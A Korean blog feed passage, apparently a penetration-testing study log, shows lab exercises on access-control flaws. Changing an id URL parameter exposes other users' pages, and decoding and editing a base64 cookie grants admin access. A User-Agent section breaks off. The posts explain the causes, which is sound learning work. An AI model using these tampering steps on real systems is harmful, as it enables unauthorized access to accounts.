&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;유도한 것 입니다. 즉 사용자로부터 입력받은 URL 파라미터에 대한 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;검증이 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;미흡으로 서버 측 요청을 조작할 수 있는 공격입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;다음 실습으로 넘어가서 추가로 사례와 대응방안에 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;대해 알아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;</description>
      <category>정보보안 공부/모의해킹 스터디 9기</category>
      <author>mister jeon</author>
      <guid isPermaLink="true">https://thjkl2004.tistory.com/50</guid>
      <comments>https://thjkl2004.tistory.com/50#entry50comment</comments>
      <pubDate>Mon, 9 Mar 2026 17:11:54 +0900</pubDate>
    </item>
    <item>
      <title>모의해킹 취업반 스터디 9기 16주차 (2) 인증/인가 취약점</title>
      <link>https://thjkl2004.tistory.com/49</link>
      <description>&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&amp;lt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;16주차&amp;nbsp; &amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;인증/인가 취약점에 대해 알아보겠으며 실습을 통해 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;사&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;례를 알아보겠습니다. &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;우선 기본적인 용어는 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;접근 통제는 식&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;별 &amp;gt; 인증 &amp;gt; 인가 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;3단계 원칙으로 하며&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;. 식별 : 본인이 누구라는 것을 시스템에 밝히는 것&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;. 인증 : 본인이 주장하는 사용자가 맞다라는 것을 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;nbsp; 시스템에 증명하는 것 (신원확인)&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;. 인가 : 무엇을 할 수 있는가? EX) 너 관리자 권한 맞아 ???&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이 중에 인증/인가에 대해 더 자세히 알아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;nbsp;서버가 클라이언트를 믿는 경우 어떻게 되는지 알아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;lt;parc1&amp;gt; 페이지 변조&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rORkL/dJMcacWgiOC/7bAb73aCLnZfd0VSQQsP80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rORkL/dJMcacWgiOC/7bAb73aCLnZfd0VSQQsP80/img.png&quot; data-origin-width=&quot;486&quot; data-origin-height=&quot;294&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;58.01&quot; style=&quot;width: 57.3321%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rORkL/dJMcacWgiOC/7bAb73aCLnZfd0VSQQsP80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrORkL%2FdJMcacWgiOC%2F7bAb73aCLnZfd0VSQQsP80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;486&quot; height=&quot;294&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDut1X/dJMcacIK25T/nitnBaq5wJk3WczGvPLtwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDut1X/dJMcacIK25T/nitnBaq5wJk3WczGvPLtwk/img.png&quot; data-origin-width=&quot;511&quot; data-origin-height=&quot;427&quot; data-is-animation=&quot;false&quot; style=&quot;width: 41.5051%;&quot; data-widthpercent=&quot;41.99&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDut1X/dJMcacIK25T/nitnBaq5wJk3WczGvPLtwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDut1X%2FdJMcacIK25T%2FnitnBaq5wJk3WczGvPLtwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;511&quot; height=&quot;427&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pVCvg/dJMcafrVxUK/OsuGKOgsNNGjainOUK9kK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pVCvg/dJMcafrVxUK/OsuGKOgsNNGjainOUK9kK0/img.png&quot; data-origin-width=&quot;565&quot; data-origin-height=&quot;496&quot; data-is-animation=&quot;false&quot; style=&quot;width: 35.7337%; margin-right: 10px; margin-top: 10px;&quot; data-widthpercent=&quot;36.15&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pVCvg/dJMcafrVxUK/OsuGKOgsNNGjainOUK9kK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpVCvg%2FdJMcafrVxUK%2FOsuGKOgsNNGjainOUK9kK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;565&quot; height=&quot;496&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LC6Rh/dJMcahccst8/wiAdcORLtmjNnQduYkkU0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LC6Rh/dJMcahccst8/wiAdcORLtmjNnQduYkkU0k/img.png&quot; data-origin-width=&quot;1907&quot; data-origin-height=&quot;948&quot; data-is-animation=&quot;false&quot; style=&quot;width: 63.1035%; margin-top: 10px;&quot; data-widthpercent=&quot;63.85&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LC6Rh/dJMcahccst8/wiAdcORLtmjNnQduYkkU0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLC6Rh%2FdJMcahccst8%2FwiAdcORLtmjNnQduYkkU0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1907&quot; height=&quot;948&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;burp에서 확인한 결과 메서드 부분에 로그인 시 GET /part3/prac1/mypage.php?id=58&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;사용자 id를 지정하는 방식을 사용하고 있었습니다 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이것도 조작이 가능한지 알아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cXVcQs/dJMcaioFl9e/eYjt9EMB333rIXiEx02mf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cXVcQs/dJMcaioFl9e/eYjt9EMB333rIXiEx02mf0/img.png&quot; data-origin-width=&quot;1912&quot; data-origin-height=&quot;939&quot; data-is-animation=&quot;false&quot; style=&quot;width: 62.7609%; margin-right: 10px;&quot; data-widthpercent=&quot;63.5&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cXVcQs/dJMcaioFl9e/eYjt9EMB333rIXiEx02mf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcXVcQs%2FdJMcaioFl9e%2FeYjt9EMB333rIXiEx02mf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1912&quot; height=&quot;939&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhUXIC/dJMcacWgiXY/v8GF4yakXxR3FuTuXqy031/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhUXIC/dJMcacWgiXY/v8GF4yakXxR3FuTuXqy031/img.png&quot; data-origin-width=&quot;721&quot; data-origin-height=&quot;616&quot; data-is-animation=&quot;false&quot; style=&quot;width: 36.0763%;&quot; data-widthpercent=&quot;36.5&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhUXIC/dJMcacWgiXY/v8GF4yakXxR3FuTuXqy031/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhUXIC%2FdJMcacWgiXY%2Fv8GF4yakXxR3FuTuXqy031%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;721&quot; height=&quot;616&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;GET /part3/prac1/mypage.php?id=1 으로 하니&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt; user1의 계정을 볼 수 있었으며 ID 번호 추가 검색 결과&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이는 서버가 세션 아디로 판단 하는것이 아닌&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt; id 번호로만으로 판단을 했다라는 것이 원인입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;lt;parc2&amp;gt; 쿠키 변조&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ddC7v2/dJMcajuiBKK/qsX7NIGKaVIkPDkmCQykt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ddC7v2/dJMcajuiBKK/qsX7NIGKaVIkPDkmCQykt0/img.png&quot; data-origin-width=&quot;497&quot; data-origin-height=&quot;302&quot; data-is-animation=&quot;false&quot; style=&quot;width: 33.1166%; margin-right: 10px;&quot; data-widthpercent=&quot;33.91&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ddC7v2/dJMcajuiBKK/qsX7NIGKaVIkPDkmCQykt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FddC7v2%2FdJMcajuiBKK%2FqsX7NIGKaVIkPDkmCQykt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;497&quot; height=&quot;302&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dtfIeT/dJMcadAOZSL/0sqKSEFfjUiW9L7RH5QiK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dtfIeT/dJMcadAOZSL/0sqKSEFfjUiW9L7RH5QiK0/img.png&quot; data-origin-width=&quot;590&quot; data-origin-height=&quot;515&quot; data-is-animation=&quot;false&quot; style=&quot;width: 23.0537%; margin-right: 10px;&quot; data-widthpercent=&quot;23.6&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dtfIeT/dJMcadAOZSL/0sqKSEFfjUiW9L7RH5QiK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdtfIeT%2FdJMcadAOZSL%2F0sqKSEFfjUiW9L7RH5QiK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;590&quot; height=&quot;515&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b342Tt/dJMcaaRIECX/mR7hZElJcokLsJkex2J4kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b342Tt/dJMcaaRIECX/mR7hZElJcokLsJkex2J4kk/img.png&quot; data-origin-width=&quot;1947&quot; data-origin-height=&quot;944&quot; data-is-animation=&quot;false&quot; style=&quot;width: 41.5041%;&quot; data-widthpercent=&quot;42.49&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b342Tt/dJMcaaRIECX/mR7hZElJcokLsJkex2J4kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb342Tt%2FdJMcaaRIECX%2FmR7hZElJcokLsJkex2J4kk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1947&quot; height=&quot;944&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이번에는 비슷한 마이페이지에서 admin 계정을 볼 수 있을까??&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;burp에서 확인한 결과uinfo=eyJpZCI6NTcsImxvZ2luX3RpbWUiOiIyMDI2LTAyLTAz&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;VDE0OjAzOjAxKzAwOjAwIiwiaXAiOiIyMTEuMjI1LjE1LjM0In&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;0%3D; &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;수상하게 보였습니다. 이를 decoder 기능으로 확인한 결과&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;337&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVMN8w/dJMcacoq9mq/PVbEo7T9StUKXCooGq4XKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVMN8w/dJMcacoq9mq/PVbEo7T9StUKXCooGq4XKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVMN8w/dJMcacoq9mq/PVbEo7T9StUKXCooGq4XKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVMN8w%2FdJMcacoq9mq%2FPVbEo7T9StUKXCooGq4XKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;337&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;337&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1938&quot; data-origin-height=&quot;978&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpz6VI/dJMcaioFmuM/Ur7I8SnkZCD0QitOuuNBQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpz6VI/dJMcaioFmuM/Ur7I8SnkZCD0QitOuuNBQ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpz6VI/dJMcaioFmuM/Ur7I8SnkZCD0QitOuuNBQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbpz6VI%2FdJMcaioFmuM%2FUr7I8SnkZCD0QitOuuNBQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1938&quot; height=&quot;978&quot; data-origin-width=&quot;1938&quot; data-origin-height=&quot;978&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;{&quot;id&quot;:57,&quot;login_time&quot;:&quot;2026-02-03T14:03:01+00:00&quot;,&quot;ip&quot;:&quot;211.225.15.34&quot;}%3D&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;볼 수 있었습니다. 이를 admin 관리자로 바꾸어 적용해보니&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;관리자 페이지도 볼 수 있었습니다. 이는 쿠키 변조를 사용하는 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;방법입니다. &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이 또한 세션id를 체크하여 관리자 페이지에 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;접근 할 수 없도록 해야하는데 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이 기능이 아닌 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;uinfo= 기능에 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;의존하여 발생하는 취약점이 되겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;lt;parc3&amp;gt; &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;User-Agent 변조&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpfqLQ/dJMcabJRtdg/jPtYsPoCKFkPuokbVFEvx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpfqLQ/dJMcabJRtdg/jPtYsPoCKFkPuokbVFEvx0/img.png&quot; data-origin-width=&quot;501&quot; data-origin-height=&quot;314&quot; data-is-animation=&quot;false&quot; style=&quot;width: 48.8758%; margin-right: 10px;&quot; data-widthpercent=&quot;49.45&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpfqLQ/dJMcabJRtdg/jPtYsPoCKFkPuokbVFEvx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpfqLQ%2FdJMcabJRtdg%2FjPtYsPoCKFkPuokbVFEvx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;501&quot; height=&quot;314&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvDOfw/dJMcadt4ahE/hdjHK8L7zOlxl3p38cTMi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvDOfw/dJMcadt4ahE/hdjHK8L7zOlxl3p38cTMi1/img.png&quot; data-origin-width=&quot;716&quot; data-origin-height=&quot;439&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.9614%;&quot; data-widthpercent=&quot;50.55&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvDOfw/dJMcadt4ahE/hdjHK8L7zOlxl3p38cTMi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvDOfw%2FdJMcadt4ahE%2FhdjHK8L7zOlxl3p38cTMi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; 